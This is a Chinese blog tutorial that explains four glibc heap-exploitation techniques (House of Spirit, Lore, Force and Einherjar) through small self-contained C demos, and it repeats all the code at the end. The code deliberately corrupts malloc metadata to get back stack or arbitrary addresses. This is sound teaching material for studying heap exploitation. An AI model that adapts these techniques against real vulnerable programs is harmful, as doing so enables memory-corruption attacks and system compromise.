通过Demo来学习堆溢出。

本文通过4个Demo介绍House系列的4种堆上利用方法。

通过Demo理解堆溢出

我理解的Demo,就是一个小型的例子,用来解释一个概念。一种有效的学习方法,可以是通过一个个Demo,来从多个不同角度观察你要研究的东西。

我想用这个系列的文章尝试一下这种方法。通过自己编写Demo来理解堆溢出中的概念,结合调试使得对堆机制和堆上的漏洞利用有更深的理解。同时也相当于一个速查笔记,当有所遗忘的时候,看到Demo就能很快想起来原理和细节。

请注意,务必要自己编译并调试这些Demo,尝试去理解其中的机制,否则效果可能很差。

这个系列文章受到How2heap的影响和启发很大,建议大家去看看这个项目。

本系列假定读者拥有基本的堆知识。若无特殊说明,所有的Demo都在linux x86_64系统下编译。

堆House系列漏洞利用方法

House of Spirit

在栈上构造两个块头部size,使得释放前一个栈上的块变得合法。这时,这个栈上的地址就被链入unsorted bin,只要再次申请同样大小的块,就能得到栈上的地址,产生安全问题。

void spirit() {
    unsigned long buf[10];
    malloc(1);
    buf[1] = 0x40;
    buf[9] = 0x1001;
    free(buf + 2);
    p = malloc(0x30);
    printf("%p %p\n", buf + 2, p);
}

House of Lore

这个攻击的前提是需要能控制victim块的bk指针。

通过申请smallbin小块->释放smallbin小块->申请largebin大块的方式,把最开始申请的块(victim)放入smallbin中。然后通过控制victim块的bk指针构造smallbin链表,使victim块和两个栈上构造出来的块链在一起,这样通过malloc就能得到栈上的地址。

void lore() {
    unsigned long buf1[10], buf2[10];
    p = malloc(0x100);
    malloc(1000);
    free(p);
    malloc(1200);
    buf1[0] = 0;
    buf1[1] = 0;
    buf1[2] = (unsigned long) (p - 2);
    buf1[3] = (unsigned long) buf2;
    buf2[0] = 0;
    buf2[1] = 0;
    buf2[2] = (unsigned long) buf1;
    buf2[3] = 0;
    p[1] = (unsigned long) buf1;
    p = malloc(0x100);
    p = malloc(0x100);
    // p = malloc(0x100);
    printf("%p %p\n", buf1 + 2, p);
}

House of Force

通过修改TopChunk的大小为-1(0xffffffffffffffff),这样TopChunk就可以申请任意大小。通过malloc一个大小经过计算的空间,将TopChunk推到我们想要控制的地址之前,通过一次malloc将该地址取出。

void force() {
    char str[32];
    strcpy(str, "Hello!");
    p = malloc(0x100);
    *(unsigned long *) ((char *) p + 0x108) = -1;
    printf("%p\n", str);
    k = malloc((char *) str - (char *) p - 0x540);
    printf("%p\n", k);
    k = malloc(0x100);
    printf("%p\n", k);
    puts(str);
    strcpy(k + 0x10, "Hacked!");
    puts(str);
}

House of Einherjar

这个攻击的前提是需要能有一个零字节溢出到下一个块。

  1. 首先申请两个块a、b。
  2. a块溢出零字节到b块size的最低字节,使prev_in_use位覆盖为0。这样当free(b)的时候就使它和“前一个”块合并。这里的合并,会使用到b的prev_size,也就是b的size的前8个字节。
  3. 在a块的最后8个字节写入一个负值,这里也就是b的prev_size,在合并b和“前块”的时候,是通过这个头字段得到前一个块的位置。
  4. 这样在合并b块的时候,就会把b和后面某个地址上的块“合并”了,再次malloc就得到后面任意地址上的地址。

需要注意:后面假块的size应该等于上面得到的负值地址,并布置好fd、bk应对检查。

void einherjar() {
    uint64_t buf[32];
    uint8_t *p1, *p2, *p3;

    printf("%p\n", buf);

    p1 = malloc(0x38);
    p2 = malloc(0xf8);
    printf("%p\n", *((uint64_t *)p2 - 1));

    p1[0x38] = 0;
    printf("%p\n", *((uint64_t *)p2 - 1));

    buf[0] = 0x1000;
    buf[1] = 0x0;
    buf[2] = (uint64_t) buf;
    buf[3] = (uint64_t) buf;
    buf[4] = (uint64_t) buf;
    buf[5] = (uint64_t) buf;

    uint64_t fake_size = (uint64_t) (p2 - 2 * sizeof(uint64_t) - (uint8_t *) buf);
    printf("%p\n", fake_size);

    buf[1] = fake_size;
    *((uint64_t *) (p1 + 0x30)) = fake_size;

    free(p2);
    printf("%p\n", malloc(0x200));
}

全部代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

unsigned long *p;
char *k;

void spirit() {
    unsigned long buf[10];
    malloc(1);
    buf[1] = 0x40;
    buf[9] = 0x1001;
    free(buf + 2);
    p = malloc(0x30);
    printf("%p %p\n", buf + 2, p);
}

void lore() {
    unsigned long buf1[10], buf2[10];
    p = malloc(0x100);
    malloc(1000);
    free(p);
    malloc(1200);
    buf1[0] = 0;
    buf1[1] = 0;
    buf1[2] = (unsigned long) (p - 2);
    buf1[3] = (unsigned long) buf2;
    buf2[0] = 0;
    buf2[1] = 0;
    buf2[2] = (unsigned long) buf1;
    buf2[3] = 0;
    p[1] = (unsigned long) buf1;
    p = malloc(0x100);
    p = malloc(0x100);
    // p = malloc(0x100);
    printf("%p %p\n", buf1 + 2, p);
}

void force() {
    char str[32];
    strcpy(str, "Hello!");
    p = malloc(0x100);
    *(unsigned long *) ((char *) p + 0x108) = -1;
    printf("%p\n", str);
    k = malloc((char *) str - (char *) p - 0x540);
    printf("%p\n", k);
    k = malloc(0x100);
    printf("%p\n", k);
    puts(str);
    strcpy(k + 0x10, "Hacked!");
    puts(str);
}

void einherjar() {
    uint64_t buf[32];
    uint8_t *p1, *p2, *p3;

    printf("%p\n", buf);

    p1 = malloc(0x38);
    p2 = malloc(0xf8);
    printf("%p\n", *((uint64_t *)p2 - 1));

    p1[0x38] = 0;
    printf("%p\n", *((uint64_t *)p2 - 1));

    buf[0] = 0x1000;
    buf[1] = 0x0;
    buf[2] = (uint64_t) buf;
    buf[3] = (uint64_t) buf;
    buf[4] = (uint64_t) buf;
    buf[5] = (uint64_t) buf;

    uint64_t fake_size = (uint64_t) (p2 - 2 * sizeof(uint64_t) - (uint8_t *) buf);
    printf("%p\n", fake_size);

    buf[1] = fake_size;
    *((uint64_t *) (p1 + 0x30)) = fake_size;

    free(p2);
    printf("%p\n", malloc(0x200));
}

int main() {
    // spirit();
    // lore();
    // force();
    einherjar();
    return 0;
}

标签: 堆溢出, 二进制, 写个Demo理解堆溢出

添加新评论